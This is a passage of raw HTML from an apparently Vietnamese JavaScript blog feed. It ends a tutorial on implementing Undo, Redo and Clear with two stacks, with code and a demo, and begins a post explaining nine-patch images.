punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Và <em>return</em> để sử dụng cho việc thay đổi trạng thái ứng dụng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">return</span> state<span class="token punctuation">;</span></code></pre></div> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 399px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 76.96969696969698%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABWElEQVQoz52SC2uDMBSF+///XlnbUZsah+ahiZqXJsZmaLpgy4awgyDI+Tz33OQQVnnv3ap5nrdfrLXe+xDC41XRc4gvrfU0TdbaYRiiVWvtvR9XhT/0hCMzz3OCjTEhhBje8ramFGNUViVCiFI6reO8wylHKVV8wTzPGeNZdr2cL2VVdn3HW84592u7Q7I658ZxjIEhPJTSTVNjjNq2k1IO4xjLv469theiz243AIBSMo1dVQhh7JxL7kd83hYmpcBkkdYqLaxhDaF0f2FaazctRxXLxyLGGCHET5G/YaUkIYRznqxSSsZYXdf7sDEagDshJA3Z9x0sIIRQab2brKoKMca2l6SmGC+/s7udFQAgJcdtI1RWCI92D/6fFpgxdjp9FEUBYf55OZvBMlYfj8eyLO8AXLNMiOfh/wKPw8A5l1IKIZqmmby31vK2VUoK0TPGt/dkC38D3OlpHOgUscoAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Trạng thái của Undo, Redo Stack sau khi Undo" title="Trạng thái của Undo, Redo Stack sau khi Undo" src="/static/2682fd7b10b5a95e0ca5397ff75c6250/f7599/trang-thai-undo-redo-stack-sau-khi-undo-completejavascript.com_.png" srcset="/static/2682fd7b10b5a95e0ca5397ff75c6250/103f2/trang-thai-undo-redo-stack-sau-khi-undo-completejavascript.com_.png 165w, /static/2682fd7b10b5a95e0ca5397ff75c6250/748ba/trang-thai-undo-redo-stack-sau-khi-undo-completejavascript.com_.png 330w, /static/2682fd7b10b5a95e0ca5397ff75c6250/f7599/trang-thai-undo-redo-stack-sau-khi-undo-completejavascript.com_.png 399w" sizes="(max-width: 399px) 100vw, 399px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="triển-khai-phần-redo" style="position:relative;"><a href="#tri%E1%BB%83n-khai-ph%E1%BA%A7n-redo" aria-label="triển khai phần redo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai phần Redo</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">getNextState</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">>=</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> state <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Redo tức là đưa về trạng thái mới hơn. Mà trạng thái mới hơn lại được lưu trữ tại Redo Stack.</p> <p>Khác với Undo Stack, trạng thái tại đỉnh của Redo Stack luôn là trạng thái hiện tại của ứng dụng. Do đó, để thực hiện Redo thì trong Redo Stack phải có ít nhất 2 phần tử (1 là trạng thái hiện tại, 1 là trạng thái mới hơn).</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">>=</span> <span class="token number">2</span><span class="token punctuation">;</span></code></pre></div> <p>Khi thực hiện Redo, trạng thái hiện tại phải được <em>pop</em> khỏi Redo Stack.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> state <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau đó, trạng thái này được <em>push</em> ngược lại vào Undo Stack.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Lúc này trạng thái mới hơn (cần di chuyển đến) đang nằm ở đỉnh của Redo Stack. Mình cần phải <em>return</em> lại giá trị này để sử dụng cho việc thay đổi trạng thái ứng dụng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 407px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 75.15151515151516%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABUElEQVQoz42S63LCIBCFff/3M8a2mgDVJATMBQgEWOiMtLFO1XR/wQ4fB86eTbyW+6m0DSGkrfc+Pq9NjNF7L6Wc53kcxxBCjNFaq5RKnRXYOWeMiTFqrRfYWps66SHpQQ9gAGCMIYS6rnsIv1IGAM55iZAQYoEnpZxzUimtp6IoMCYElwghQohS6g6mlBZlQQhJXe89wmj/tq/rGmO8yzKMsTFmmrS6Xnpn2OVyaZqGtu1ifssYbVvGGACsGDaOwhgzDMPNbSm11kKI9VH13aWhtO/7m3LbUkoZ4/8yjHyeOOcLXFVVdT7VdfNrVI+VgbEWoaLrx3g9573nnCOM+75bVx6GvqrOQqqUBAAQQjDGpJQrcBIPISxJTmu41isYAA4f7/kuOxyO2S4vy9Jam223+S4vimOe7zHGz76dRmXneU4JT6l0zln73Vki8Rf+AkE1alQIEbPZAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Trạng thái của Undo, Redo Stack sau khi redo" title="Trạng thái của Undo, Redo Stack sau khi redo" src="/static/8c68e4fda5e9f60610ab5db6520e028c/fc7bc/trang-thai-undo-redo-stack-sau-khi-redo-completejavascript.com_.png" srcset="/static/8c68e4fda5e9f60610ab5db6520e028c/103f2/trang-thai-undo-redo-stack-sau-khi-redo-completejavascript.com_.png 165w, /static/8c68e4fda5e9f60610ab5db6520e028c/748ba/trang-thai-undo-redo-stack-sau-khi-redo-completejavascript.com_.png 330w, /static/8c68e4fda5e9f60610ab5db6520e028c/fc7bc/trang-thai-undo-redo-stack-sau-khi-redo-completejavascript.com_.png 407w" sizes="(max-width: 407px) 100vw, 407px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="triển-khai-phần-clear" style="position:relative;"><a href="#tri%E1%BB%83n-khai-ph%E1%BA%A7n-clear" aria-label="triển khai phần clear permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai phần Clear</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> state <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Đây là phần mình thêm vào. Phương thức <em>clear</em> này sẽ giữ lại trạng thái hiện tại của ứng dụng, bằng cách <em>pop</em> trạng thái tại đỉnh của Redo Stack:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> state <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tiếp theo là xoá bỏ hết tất cả các trạng thái trong 2 Stack bằng cách gán <em>length</em> của chúng bằng 0:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span></code></pre></div> <p>Cuối cùng lưu lại trạng thái hiện tại của ứng dụng vào Redo Stack - giống như mình đã làm trong phần khởi tạo.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 398px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.7878787878788%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA9UlEQVQoz+2T3U7DMAyF9/7vtk2dRLkYawpjVUFi0J/Yjh0nUxoJpNEOJG45N1Gs88VWbK/iskSEmVV1ybDKh3POWouIAJAjzIyIOR5CuAUTETPHGAEgW4lIRGKMiPgzfGX9h/8Gh7kHfgUvzckijIhd1w3D0Pc9IJgqydTmcNgbU7+dzzMwAOQ8zNy+tKY2APCQtD81DTO7SeL99XgS0ed4ioi1dhxHAGBm7/334hPsvTCnHSCX8quq957ITYvhbuxGgvuP92K3uy/LqqqKomjbVyLcbjd3Zfl0fNys18fnZjKH+Q+LIaZmaFD9aommyxRd6PMFq7yr+x3NxtkAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Trạng thái của Undo, Redo Stack sau khi clear" title="Trạng thái của Undo, Redo Stack sau khi clear" src="/static/d6fcc4fe8bae2134cdd7eb7893e9512d/2ab25/trang-thai-undo-redo-stack-sau-khi-clear-completejavascript.com_.png" srcset="/static/d6fcc4fe8bae2134cdd7eb7893e9512d/103f2/trang-thai-undo-redo-stack-sau-khi-clear-completejavascript.com_.png 165w, /static/d6fcc4fe8bae2134cdd7eb7893e9512d/748ba/trang-thai-undo-redo-stack-sau-khi-clear-completejavascript.com_.png 330w, /static/d6fcc4fe8bae2134cdd7eb7893e9512d/2ab25/trang-thai-undo-redo-stack-sau-khi-clear-completejavascript.com_.png 398w" sizes="(max-width: 398px) 100vw, 398px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="demo-sử-dụng-thuật-toán-undo-redo" style="position:relative;"><a href="#demo-s%E1%BB%AD-d%E1%BB%A5ng-thu%E1%BA%ADt-to%C3%A1n-undo-redo" aria-label="demo sử dụng thuật toán undo redo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Demo sử dụng thuật toán Undo-Redo</h2> <p><a href="https://codepen.io/completejavascript/pen/EpoKZo"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/EpoKZo/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Đây là một ứng dụng demo đơn giản sử dụng thuật toán Undo-Redo. Ứng dụng này có khả năng thay đổi <strong>nội dung</strong> và <strong>màu sắc</strong> của chữ <em>UNDO-REDO</em>.</p> <p>Nghĩa là mình có thể lưu trạng thái của ứng dụng bằng một <a href="/object-la-gi-object-trong-javascript/">object</a> với 2 trường thông tin là: <strong>text</strong> và <strong>color</strong>.</p> <p>Cụ thể:</p> <p><strong>Phần khởi tạo</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> undoRedoHandler <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">UndoRedoHandler</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">text</span><span class="token operator">:</span> textDefault<span class="token punctuation">,</span> <span class="token literal-property property">color</span><span class="token operator">:</span> colorDefault<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Phần thêm trạng thái</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">undoRedoHandler<span class="token punctuation">.</span><span class="token function">insert</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">text</span><span class="token operator">:</span> _content<span class="token punctuation">.</span>value<span class="token punctuation">,</span> <span class="token literal-property property">color</span><span class="token operator">:</span> _color<span class="token punctuation">.</span>value<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Phần Undo</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> state <span class="token operator">=</span> undoRedoHandler<span class="token punctuation">.</span><span class="token function">getPrevState</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>state<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">applyPreview</span><span class="token punctuation">(</span>state<span class="token punctuation">.</span>text<span class="token punctuation">,</span> state<span class="token punctuation">.</span>color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>Phần Redo</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> state <span class="token operator">=</span> undoRedoHandler<span class="token punctuation">.</span><span class="token function">getNextState</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>state<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">applyPreview</span><span class="token punctuation">(</span>state<span class="token punctuation">.</span>text<span class="token punctuation">,</span> state<span class="token punctuation">.</span>color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>Phần clear</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">undoRedoHandler<span class="token punctuation">.</span><span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn có thể chạy thử chương trình để thấy rõ được sự thay đổi sau khi thực hiện các lệnh Undo, Redo và Clear.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách thức triển khai thuật toán Undo-Redo, cũng như cách mình áp dụng nó trong ví dụ thực tế. Dĩ nhiên, với mỗi bài toán cụ thể, bạn sẽ cần phải tuỳ chỉnh lại cách triển khai sao cho phù hợp và tối ưu nhất. Chưa kể đến việc triển khai thuật toán này trên các ngôn ngữ khác có thể sẽ phức tạp hơn JavaScript một chút. Nhưng dù sao thì mình hy vọng rằng bạn đã phần nào hiểu được cách thức triển khai thuật toán Undo-Redo này. Và biến nó thành của chính bạn.</p> <p>Nếu có phần nào chưa hiểu, cần góp ý hoặc sự giúp đỡ của mình thì bạn có thể để lại dưới phần bình luận phía dưới.</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại bạn trong <a href="/trien-khai-lazy-loading-image-voi-es6-va-css/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://www.codeproject.com/Articles/33371/Multilevel-Undo-and-Redo-Implementation-in-C-Part">Part 1: Undo/Redo Implementation in C# using Single Object Representing Change Approach</a></li> <li><a href="https://www.codeproject.com/Articles/33384/Multilevel-Undo-and-Redo-Implementation-in-Cshar-2">Part 2: Undo/Redo Implementation in C# using Command Pattern</a></li> <li><a href="https://www.codeproject.com/Articles/33397/Multilevel-Undo-and-Redo-Implementation-in-Csharp">Part 3: Undo/Redo Implementation in C# using Memento Pattern</a></li> </ul>[email protected]<![CDATA[Ảnh nine-patch - Scale không vỡ trong JavaScript]]><![CDATA[Có thể bạn đã từng nghe đến ảnh Vector rồi. Ảnh Vector có một ưu điểm lớn nhất là có thể kéo to, nhỏ tùy ý mà không bị vỡ ảnh. Bên cạnh đó, có một loại ảnh khác cũng có ưu điểm…]]>https://completejavascript.com/anh-nine-patch-scale-khong-vo-trong-javascript/https://completejavascript.com/anh-nine-patch-scale-khong-vo-trong-javascript/<![CDATA[Canvas]]><![CDATA[DOM]]>Tue, 23 Jan 2018 13:34:08 GMT<p>Có thể bạn đã từng nghe đến ảnh Vector rồi. Ảnh Vector có một ưu điểm lớn nhất là có thể kéo to, nhỏ tùy ý mà không bị vỡ ảnh. Bên cạnh đó, có một loại ảnh khác cũng có ưu điểm tương tự, chính là ảnh nine-patch (hay 9patch). Vậy ảnh nine-patch là gì? Cách sử dụng ảnh nine-patch trong <a href="/javascript/">JavaScript</a> như thế nào? Bài viết này sẽ giúp bạn tìm hiểu về xử lý ảnh nine-patch trong JavaScript.</p> <h2 id="ảnh-nine-patch-là-gì" style="position:relative;"><a href="#%E1%BA%A3nh-nine-patch-l%C3%A0-g%C3%AC" aria-label="ảnh nine patch là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ảnh nine-patch là gì?</h2> <p>Ảnh nine-patch (hay 9-patch, tạm dịch là 9 miếng vá) là ảnh có thể thay đổi kích thước mà không bị vỡ ảnh. Android sẽ tự động thay đổi kích thước của ảnh để tương thích với View. Theo như định nghĩa trên, ảnh nine-patch được tạo ra bởi Android (không rõ).</p> <p>Ảnh nine-patch thực chất là một ảnh PNG có cấu tạo đặc biệt hơn với border 1-pixel để xác định phần co dãn (stretchable), phần cố định (static) và phần chứa nội dung (drawable).</p> <p>Ngoài ra, ảnh nine-patch có tên dạng: <strong>*.9.png</strong></p> <h2 id="cấu-tạo-ảnh-nine-patch" style="position:relative;"><a href="#c%E1%BA%A5u-t%E1%BA%A1o-%E1%BA%A3nh-nine-patch" aria-label="cấu tạo ảnh nine patch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu tạo ảnh nine-patch</h2> <h3 id="phần-co-dãn-cố-định" style="position:relative;"><a href="#ph%E1%BA%A7n-co-d%C3%A3n-c%E1%BB%91-%C4%91%E1%BB%8Bnh" aria-label="phần co dãn cố định permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phần co dãn, cố định</h3> <p>Theo định nghĩa ở trên, ảnh nine-patch sẽ sử dụng border có độ rộng 1 pixel để xác định phần co dãn và phần cố định của ảnh.</p> <p>Trong đó, phần co dãn được xác định bởi 2 đường kẻ màu đen ở phía trên (<strong>top</strong>) và phía bên trái (<strong>left</strong>), những pixel còn lại ở top và left phải để transparent hoặc màu trắng hoàn toàn.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.36363636363636%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMBAgQF/8QAFAEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAAB6a9KkkuD/8QAGBABAQEBAQAAAAAAAAAAAAAAAQASIRH/2gAIAQEAAQUCeG72OwGr/8QAFREBAQAAAAAAAAAAAAAAAAAAECH/2gAIAQMBAT8Bp//EABYRAAMAAAAAAAAAAAAAAAAAAAEQEf/aAAgBAgEBPwERf//EABQQAQAAAAAAAAAAAAAAAAAAACD/2gAIAQEABj8CX//EABkQAQADAQEAAAAAAAAAAAAAAAEAESFxof/aAAgBAQABPyFjNb2ceyqDVQGEsmDRUQMCf//aAAwDAQACAAMAAAAQy8//xAAWEQEBAQAAAAAAAAAAAAAAAAABEEH/2gAIAQMBAT8QTDP/xAAWEQEBAQAAAAAAAAAAAAAAAAABACH/2gAIAQIBAT8QQNJv/8QAGxABAAMAAwEAAAAAAAAAAAAAAQARITFRkdH/2gAIAQEAAT8QshcVwlu3j5AkdjS7giZKxIq3Y5UYAAGAT//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="nine-patch button stretchable 0- complete javascript - completejavascript.com" title="nine-patch button stretchable 0- complete javascript - completejavascript.com" src="/static/d23f441839e26da59c721b53bdf9e623/953fe/nine-patch-button-stretchable-0.jpg" srcset="/static/d23f441839e26da59c721b53bdf9e623/e4e7a/nine-patch-button-stretchable-0.jpg 165w, /static/d23f441839e26da59c721b53bdf9e623/4f5c6/nine-patch-button-stretchable-0.jpg 330w, /static/d23f441839e26da59c721b53bdf9e623/953fe/nine-patch-button-stretchable-0.jpg 500w" sizes="(max-width: 500px) 100vw, 500px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Hai đường kẻ này chia bức ảnh thành 9 phần như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 58.18181818181818%; position: relative; bottom: 0; left: 0; background-image: 